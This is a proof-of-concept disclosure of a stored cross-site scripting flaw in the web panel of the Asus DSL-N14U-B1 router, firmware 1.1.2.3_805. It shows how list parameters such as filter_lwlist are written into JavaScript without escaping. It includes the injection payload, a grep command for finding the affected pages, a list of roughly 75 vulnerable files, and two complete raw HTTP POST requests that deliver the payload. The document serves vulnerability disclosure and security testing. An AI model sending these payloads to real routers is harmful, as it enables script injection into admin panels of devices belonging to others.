
Proof-of-concept for stored XSS vulnerability in Asus DSL-N14U router firmware, with exploit payloads and list of 70+ vulnerable ASP pages for security testing.
We have not yet tested Asus models other than those listed. However we suspect it may also work on other models with the same firmware version.
DSL-N14U_B1 V.1.1.2.3_805
In router Asus DSL-N14U-B1 1.1.2.3_805 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the "*list" parameters (e.g. filter_lwlist, keyword_rulelist, etc) in every ".asp" page containing a list of stored strings (e.g. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp).
Via a *list parameter (e.g. filter_lwlist, keyword_rulelist, etc) in every ".asp" page containing a list of stored strings (e.g. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp) the functions tcWebApi_get and TCWebApi_get are executed to generate dynamic JavaScript code.
E.g. filter_lwlist in /cgi-bin/Advanced_Firewall_Content.asp:
Passing in the POST body:
filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'
The backend code:
var wireless = []; // [[MAC, associated, authorized], ...]
var filter_lwlist_array = '<% If tcWebApi_get("IpMacFilter_Entry","LtoW_List","h") <> "" then tcWebApi_get("IpMacFilter_Entry","LtoW_List","s") end if %>';
function initial(){
show_menu();
showfilter_lwlist();
init_setting();
check_Timefield_checkbox();
corrected_timezone(DAYLIGHT_orig, TZ_orig);
}
becomes:
var wireless = []; // [[MAC, associated, authorized], ...]
var filter_lwlist_array = '<192.168.2.2>443>192.168.2.2>443>TCP'+alert('XSS')+'';
function initial(){
show_menu();
showfilter_lwlist();
init_setting();
check_Timefield_checkbox();
corrected_timezone(DAYLIGHT_orig, TZ_orig);
}
Which is executed in the browser:

In this router webpanel there are many list of strings submitted by user (e.g. to specify a list of blacklisted IP, a list of ip:port to forward, etc) and in every page tested has been possible to perform XSS. A list of vulnerable pages can be retrieved via:
grep -rPi 'var.*TCWebApi_get' boaroot/ | awk -F':' '{print $1}' | sort -u
boaroot/cgi-bin/Advanced_ACL_Content.asp
boaroot/cgi-bin/Advanced_ADSL_Content.asp
boaroot/cgi-bin/Advanced_AiDisk_ftp.asp
boaroot/cgi-bin/Advanced_AiDisk_samba.asp
boaroot/cgi-bin/Advanced_ASUSDDNS_Content.asp
boaroot/cgi-bin/Advanced_DSL_Content.asp
boaroot/cgi-bin/Advanced_Firewall_Content.asp
boaroot/cgi-bin/Advanced_FirmwareUpgrade_Content.asp
boaroot/cgi-bin/Advanced_GWStaticRoute_Content.asp
boaroot/cgi-bin/Advanced_IPTV_Content.asp
boaroot/cgi-bin/Advanced_IPv6_Content.asp
boaroot/cgi-bin/Advanced_KeywordFilter_Content.asp
boaroot/cgi-bin/Advanced_LAN_Content.asp
boaroot/cgi-bin/Advanced_Modem_Content.asp
boaroot/cgi-bin/Advanced_PortTrigger_Content.asp
boaroot/cgi-bin/Advanced_QOSUserPrio_Content.asp
boaroot/cgi-bin/Advanced_QOSUserRules_Content.asp
boaroot/cgi-bin/Advanced_SettingBackup_Content.asp
boaroot/cgi-bin/Advanced_System_Content.asp
boaroot/cgi-bin/Advanced_URLFilter_Content.asp
boaroot/cgi-bin/Advanced_VirtualServer_Content.asp
boaroot/cgi-bin/Advanced_VPN_PPTP.asp
boaroot/cgi-bin/Advanced_WAdvanced_Content.asp
boaroot/cgi-bin/Advanced_WANPort_Content.asp
boaroot/cgi-bin/Advanced_Wireless_Content.asp
boaroot/cgi-bin/Advanced_WMode_Content.asp
boaroot/cgi-bin/Advanced_WWPS_Content.asp
boaroot/cgi-bin/aidisk/Aidisk-1.asp
boaroot/cgi-bin/aidisk/Aidisk-2.asp
boaroot/cgi-bin/aidisk/Aidisk-3.asp
boaroot/cgi-bin/aidisk/Aidisk-4.asp
boaroot/cgi-bin/aidisk.asp
boaroot/cgi-bin/APP_Installation.asp
boaroot/cgi-bin/Bandwidth_Limiter.asp
boaroot/cgi-bin/blocking.asp
boaroot/cgi-bin/cloud_main.asp
boaroot/cgi-bin/cloud_router_sync.asp
boaroot/cgi-bin/cloud_settings.asp
boaroot/cgi-bin/cloud_sync.asp
boaroot/cgi-bin/device-map/clients.asp
boaroot/cgi-bin/device-map/disk.asp
boaroot/cgi-bin/device-map/DSL_dashboard.asp
boaroot/cgi-bin/device-map/internet.asp
boaroot/cgi-bin/error_page.asp
boaroot/cgi-bin/Guest_network.asp
boaroot/cgi-bin/index2.asp
boaroot/cgi-bin/index.asp
boaroot/cgi-bin/Main_AccessLog_Content.asp
boaroot/cgi-bin/Main_AdslStatus_Content.asp
boaroot/cgi-bin/Main_Spectrum_Content.asp
boaroot/cgi-bin/Main_WebHistory_Content.asp
boaroot/cgi-bin/ParentalControl.asp
boaroot/cgi-bin/qis/QIS_admin_pass.asp
boaroot/cgi-bin/qis/QIS_annex_setting.asp
boaroot/cgi-bin/qis/QIS_bridge_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_detect.asp
boaroot/cgi-bin/qis/QIS_finish.asp
boaroot/cgi-bin/qis/QIS_ipoa_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_manual_setting.asp
boaroot/cgi-bin/qis/QIS_mer_cfg.asp
boaroot/cgi-bin/qis/QIS_mer_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_ppp_cfg.asp
boaroot/cgi-bin/qis/QIS_ppp_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_PTM_manual_setting.asp
boaroot/cgi-bin/qis/QIS_wireless.asp
boaroot/cgi-bin/QIS_wizard.asp
boaroot/cgi-bin/QoS_EZQoS.asp
boaroot/cgi-bin/query_wan_status2.asp
boaroot/cgi-bin/query_wan_status.asp
boaroot/cgi-bin/start_apply.asp
boaroot/html/client_function.js
boaroot/html/general.js
boaroot/html/help.js
boaroot/html/state.js
boaroot/html/validator.js
Example payloads:
POST /cgi-bin/Advanced_Firewall_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 880
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/Advanced_Firewall_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517
Upgrade-Insecure-Requests: 1
productid=DSL-N14U¤t_page=Advanced_Firewall_Content.asp&next_page=&group_id=filter_lwlist&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&filter_lw_date_x=1111111&filter_lw_time_x=00002359&filter_lw_num_x_0=&filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'&editFlag=1&fw_lw_enable_x=1&filter_lw_default_x=DROP&LWKnownApps=User+Defined&filter_lw_date_x_Sun=on&filter_lw_date_x_Mon=on&filter_lw_date_x_Tue=on&filter_lw_date_x_Wed=on&filter_lw_date_x_Thu=on&filter_lw_date_x_Fri=on&filter_lw_date_x_Sat=on&filter_lw_time_x_starthour=00&filter_lw_time_x_startmin=00&filter_lw_time_x_endhour=23&filter_lw_time_x_endmin=59&filter_lw_icmp_x=&filter_lw_srcip_x_0=&filter_lw_srcport_x_0=&filter_lw_dstip_x_0=&filter_lw_dstport_x_0=&filter_lw_proto_x_0=TCP&FAQ_input=
POST /cgi-bin/Advanced_KeywordFilter_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 449
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/cgi-bin/Advanced_KeywordFilter_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517; bw_rtab=ATM
Upgrade-Insecure-Requests: 1
current_page=Advanced_KeywordFilter_Content.asp&next_page=Advanced_KeywordFilter_Content.asp&next_host=192.168.2.1&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&keyword_num_x_0=&keyword_rulelist=%3CTEST%27%2Balert%28%27XSS%27%29%2B%27&keyword_enable_x_orig=0&editFlag=1&keyword_enable_x=0&keyword_enable_x_0=0&keyword_enable_x_1=0&keyword_keyword_x_0=&FAQ_input=